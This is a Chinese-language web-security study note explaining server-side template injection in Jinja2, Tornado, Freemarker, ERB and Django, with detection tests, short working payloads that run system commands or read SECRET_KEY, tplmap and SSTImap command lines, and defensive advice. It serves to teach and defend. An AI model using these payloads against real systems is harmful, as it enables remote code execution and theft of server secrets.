第74天-WEB攻防学习笔记:SSTI(Server-SideTemplateInjection)服务器端模板注入

admin 2026-03-09 02:04:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详述了SSTI服务器端模板注入漏洞的原理与攻防技术。核心在于模板引擎将用户输入当作代码执行,常导致RCE。内容涵盖Jinja2、Freemarker等常见引擎的识别与利用方法,介绍了Tplmap等自动化工具,并总结了从识别引擎到获取Shell的完整攻击链。最后提出不信任用户输入、启用沙箱模式等防御建议,适用于渗透测试与安全建设。 综合评分: 88 文章分类: WEB安全,漏洞分析,渗透测试,CTF,实战经验


cover_image

第74天-WEB攻防学习笔记:SSTI(Server-Side Template Injection)服务器端模板注入

原创

萧瑶 萧瑶

AlphaNet

2026年3月8日 10:44 韩国

在现代 Web 应用开发中,模板引擎(Template Engine)被广泛用于动态渲染页面。例如:Python 的 Jinja2、Tornado、Django Template,Java 的 Freemarker、Thymeleaf,Ruby 的 ERB 等。

模板引擎本质上是一种 将数据填充到模板并渲染为 HTML 的技术

如果开发者在模板渲染过程中 直接使用用户输入内容作为模板的一部分,攻击者就可能插入恶意模板语句,从而导致 SSTI(Server Side Template Injection)漏洞

SSTI 是近年来在漏洞赏金、CTF 以及真实渗透测试中非常常见的一类漏洞。一旦利用成功,攻击者往往可以 直接执行服务器端代码(RCE),风险等级极高。


一、SSTI漏洞原理

SSTI(Server-Side Template Injection)服务器端模板注入

其核心问题是:

Web 应用将用户输入的数据直接作为模板代码解析执行。

正常流程:

用户输入 → 后端接收 → 模板引擎渲染 → 返回HTML页面

存在漏洞时:

用户输入(恶意模板语句)
        ↓
模板引擎解析执行
        ↓
服务器执行攻击者代码

例如开发者代码:

return render_template("index.html", name=request.args.get("name"))

如果模板内部直接使用:

{{ name }}

攻击者输入:

{{7*7}}

模板引擎执行计算:

49

如果成功执行表达式,则说明 SSTI漏洞存在


二、常见模板引擎

不同语言使用不同模板引擎,因此 SSTI利用方式也不同

| 编程语言 | 模板引擎 | | — | — | | Python | Jinja2 / Tornado / Django | | Java | Freemarker / Velocity | | PHP | Twig / Smarty | | Ruby | ERB | | NodeJS | Handlebars / EJS |

在实际渗透测试中,第一步永远是识别模板引擎类型


三、SSTI漏洞测试

在测试 SSTI 时,一般使用 数学表达式测试

例如:

{{7*7}}
${7*7}
<%=7*7%>

如果页面返回:

49

则说明模板表达式被执行。

同时可以通过 报错信息、模板语法、页面特征 判断具体模板引擎。


四、不同模板引擎利用示例

1 ERB(Ruby)

ERB 使用 <% %> 语法执行 Ruby 代码。

Payload:

<%= exec 'ls -al' %>

作用:

执行系统命令

返回服务器目录列表。


2 Tornado(Python)

Tornado 模板支持 Python 语法。

测试 Payload:

{{7*7}}

利用 Payload:

blog-post-author-display=user.name}}{{7*7}}

执行系统命令:

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')

最终效果:

执行 Linux 命令

3 Freemarker(Java)

Freemarker 是 Java Web 应用中非常常见的模板引擎。

Payload:

<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}

执行系统命令:

ls

返回服务器文件列表。


4 Django Template

Django 模板常见利用方式是 读取敏感配置

Payload:

{{settings.SECRET_KEY}}

可以读取:

  • SECRET_KEY

  • 数据库配置

  • Debug 配置

如果配置不安全,甚至可以进一步实现 远程代码执行


五、SSTI漏洞利用思路

在真实渗透测试中,SSTI利用通常遵循以下逻辑:

1 确定模板引擎

方法包括:

  1. 修改参数观察报错信息

  2. 查看模板语法特征

  3. 根据返回内容判断模板类型

例如:

| Payload | 可能引擎 | | — | — | | {{7*7}} | Jinja2 / Django | | ${7*7} | Freemarker | | <%= %> | ERB |


2 构造Payload思路

SSTI最终目标通常是 RCE(远程命令执行)

利用过程一般为:

第一步:寻找可用对象

例如:

字符串
字典
已有变量

例如:

{{config}}
{{request}}
{{self}}

第二步:寻找原生对象

通过对象链访问 Python 原生对象:

object

例如:

__class__
__mro__
__subclasses__

第三步:实例化系统模块

常见目标对象:

os
subprocess
sys

第四步:执行系统命令

最终实现:

RCE

例如:

os.system()
subprocess.Popen()

六、自动化利用工具

如果手工构造 Payload 较困难,可以使用自动化工具。

1 Tplmap

项目地址:

https://github.com/epinna/tplmap

功能:

  • 自动识别模板引擎

  • 自动检测 SSTI

  • 自动利用 RCE

  • 支持多种模板

使用示例:

python tplmap.py -u "http://target.com/?name=*"

2 SSTImap

项目地址:

https://github.com/vladko312/SSTImap

功能:

  • 自动化 SSTI 漏洞利用

  • 支持 Jinja2、Twig、Freemarker 等

  • 自动获取 Shell

示例:

python sstimap.py -u "http://target.com/?name=test"

七、SSTI漏洞挖掘思路

SSTI 常见出现在 动态模板渲染功能中。

重点关注以下功能点:

1 用户可控模板内容

例如:

邮件模板
CMS模板
博客主题
自定义页面

2 用户输入参与模板渲染

例如:

昵称
评论
文章内容
搜索结果

3 动态模板系统

例如:

Flask
Django
Spring
Ruby on Rails

在漏洞挖掘过程中,可以结合以下方法:

  • 模糊测试(Fuzz)

  • 报错信息分析

  • 模板语法识别

  • 自动化工具检测

相关漏洞挖掘案例:

https://forum.butian.net/share/1229


八、SSTI漏洞安全影响

如果 SSTI 成功利用,攻击者可能:

  1. 读取服务器敏感信息

例如:

配置文件
数据库密码
SECRET_KEY
  1. 执行系统命令

例如:

ls
cat /etc/passwd
  1. 获取 WebShell

  2. 服务器完全控制

因此在漏洞评级中,SSTI通常被评为:

高危 / 严重漏洞

九、防御方案

开发人员可以通过以下方式防御 SSTI:

1 不信任用户输入

避免:

render(user_input)

2 使用安全模板模式

例如:

Sandbox
Safe Rendering

3 过滤模板语法

过滤关键字符:

{{ }}
${ }
<% %>

4 最小权限原则

限制模板访问:

系统命令
文件系统
敏感配置

十、总结

SSTI(服务器端模板注入)是一种 利用模板引擎解析机制实现代码执行的高危漏洞

攻击者通过构造恶意模板语句,使服务器在渲染模板时执行攻击代码,从而达到:

  • 信息泄露

  • 命令执行

  • WebShell 获取

  • 服务器控制

在渗透测试中,SSTI的核心思路可以总结为:

识别模板引擎
        ↓
寻找可用对象
        ↓
访问原生对象
        ↓
实例化系统模块
        ↓
执行系统命令

随着现代 Web 框架大量使用模板引擎,SSTI 已成为 漏洞挖掘和 CTF 中的重要攻击面之一,安全研究人员需要熟练掌握其检测方法与利用技巧。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet 萧瑶 萧瑶《第74天-WEB攻防学习笔记:SSTI(Server-Side Template Injection)服务器端模板注入》

评论:0   参与:  0